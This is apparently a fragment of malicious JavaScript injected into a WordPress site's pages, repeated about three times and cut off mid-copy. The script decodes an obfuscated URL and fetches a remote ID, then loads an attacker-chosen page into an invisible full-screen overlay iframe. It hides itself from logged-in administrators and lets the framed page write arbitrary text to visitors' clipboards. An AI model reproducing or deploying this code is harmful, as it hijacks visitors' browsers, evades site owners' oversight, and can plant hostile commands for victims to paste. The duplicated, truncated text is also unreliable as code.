      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
